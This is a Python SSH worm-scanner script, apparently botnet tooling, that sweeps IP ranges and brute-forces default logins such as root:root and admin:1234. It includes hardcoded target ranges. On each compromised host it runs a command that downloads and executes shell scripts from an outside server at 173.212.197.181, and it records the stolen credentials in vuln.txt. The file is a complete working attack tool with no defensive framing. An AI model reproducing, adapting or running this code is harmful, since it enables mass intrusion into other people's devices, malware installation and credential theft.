# Voids hacka scanna

# nano /usr/include/bits/typesizes.h -> change 1024 to 99999

# ulimit -n 99999

# python scan.py 1000 <start-range> <end-range>



import threading, paramiko, random, socket, time, sys



paramiko.util.log_to_file("/dev/null")



blacklisted = ["127.0","10.0","192.168"]



passwords = ["admin:1234"]



server_ip = "50.115.166.180"



found = 0

hosts = 0

othreads = 0



if len(sys.argv) < 4:

    sys.exit("Usage: python " + sys.argv[0] + " <threads> <start-range> <end-range> <passwords>")



if sys.argv[4] == "root":

    passwords = ["root:root"]

if sys.argv[4] == "guest":

    passwords = ["guest:guest"]

if sys.argv[4] == "telnet":

    passwords = ["telnet:telnet"]



print """\nStarting Scan."""



def sshscanner(ip):

    global found

    global hosts

    global othreads

    global passwords

    try:

        thisipisbad='no'

        for badip in blacklisted:

            if badip in ip:

                thisipisbad='yes'

        if thisipisbad=='yes':

            sys.exit()

        username='root'

        password="0"

        port = 22

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.settimeout(3)

        s.connect((ip, port))

        s.close()

        hosts += 1

        ssh = paramiko.SSHClient()

        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        dobreak=False

        for passwd in passwords:

            if ":n/a" in passwd:

                password=""

            else:

                password=passwd.split(":")[1]

            if "n/a:" in passwd:

                username=""

            else:

                username=passwd.split(":")[0]

            try:

                ssh.connect(ip, port = port, username=username, password=password, timeout=3)

                break

            except:

                pass

        badserver=True

        stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")

        output = stdout.read()

        if "inet addr" in output:

            badserver=False

        if badserver == False:

                ssh.exec_command("cd /tmp; wget http://173.212.197.181/gtop.sh || curl -O http://173.212.197.181/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; busybox tftp 173.212.197.181 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 173.212.197.181; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf gtop.sh tftp1.sh tftp2.sh")

                vulns = open("vuln.txt", "a").write(username + ":" + password + ":" + ip + "\n")

                found += 1

                time.sleep(12)

                ssh.close()

                othreads = othreads - 1

    except Exception as e:

        othreads = othreads - 1





if sys.argv[2] == "LUCKY":

    ranges = ["122.3.0.0/122.3.255.255|admin:1234", "122.52.0.0/122.54.255.255|admin:1234", "124.83.0.0/124.83.255.255|admin:1234", "124.105.0.0/124.107.255.255|admin:1234", "14.162.0.0/14.162.255.255|telnet:telnet", "14.177.0.0/14.177.255.255|telnet:telnet", "49.228.0.0/49.228.255.255|guest:guest", "101.109.0.0/101.109.255.255|root:root", "125.25.0.0/125.27.255.255|root:root", "5.78.0.0/5.78.255.255|root:root"]

    randomrange = random.choice(ranges)

    startrng = randomrange.split("/")[0]

    endrng = randomrange.split("/")[1].split("|")[0]

    passwords = []

    passwords.append(randomrange.split("|")[1])



if sys.argv[2] != "LUCKY":

    a = int(sys.argv[2].split(".")[0])

    b = int(sys.argv[2].split(".")[1])

    c = int(sys.argv[2].split(".")[2])

    d = int(sys.argv[2].split(".")[3])

else:

    a = int(startrng.split(".")[0])

    b = int(startrng.split(".")[1])

    c = int(startrng.split(".")[2])

    d = int(startrng.split(".")[3])

x = 0



print("Found        Threads        Scanned        Current")

sys.stdout.write('\r|0           |0           |0          |' + str(a)+'.'+str(b)+'.'+str(c)+'.*')



while(True):

    try:



        if sys.argv[2] != "LUCKY":

            endaddr = sys.argv[3]

        else:

            endaddr = endrng



        d += 1



        ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)



        if endaddr == (ipaddr or str(a) + "." + str(b) + "."+str(c)+"."+str(d-1)):

            if sys.argv[2] == "LUCKY":

                randomrange = random.choice(ranges)

                startrng = randomrange.split("/")[0]

                endrng = randomrange.split("/")[1].split("|")[0]

                passwords = []

                passwords.append(randomrange.split("|")[1])

                a = int(startrng.split(".")[0])

                b = int(startrng.split(".")[1])

                c = int(startrng.split(".")[2])

                d = int(startrng.split(".")[3])

            else:

                break



        if d > 255:

            c += 1

            d = 0



        if c > 255:

            b += 1

            c = 0



        if b > 255:

            a += 1

            b = 0



        ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)



        if ipaddr == endaddr:

            if sys.argv[2] == "LUCKY":

                randomrange = random.choice(ranges)

                startrng = randomrange.split("/")[0]

                endrng = randomrange.split("/")[1].split("|")[0]

                passwords = []

                passwords.append(randomrange.split("|")[1])

                a = int(startrng.split(".")[0])

                b = int(startrng.split(".")[1])

                c = int(startrng.split(".")[2])

                d = int(startrng.split(".")[3])

            else:

                break



        if x > 500:

            time.sleep(1)

            x = 0



        othreads += 1



	while(othreads >= int(sys.argv[1])):

            time.sleep(1)



        sys.stdout.write('\r\x1b[0m|\x1b[0;32m'+str(found)+'           \x1b[0m|\x1b[0;33m' + str(othreads) + '           \x1b[0m|\x1b[0;31m'+str(hosts)+'          \x1b[0m|\x1b[1;34m' + str(a)+'.'+str(b)+'.'+str(c)+'.*\x1b[0m')

        sys.stdout.flush()



        t = threading.Thread(target=sshscanner, args=(ipaddr,))

        t.start()



    except Exception as e:

        pass



print "\x1b[37mDone\x1b[37m"